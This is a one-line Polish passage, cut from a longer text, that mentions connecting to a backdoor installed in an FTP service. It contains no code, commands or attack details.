połączenia się z backdoorem zainstalowanym w usłudze FTP.  


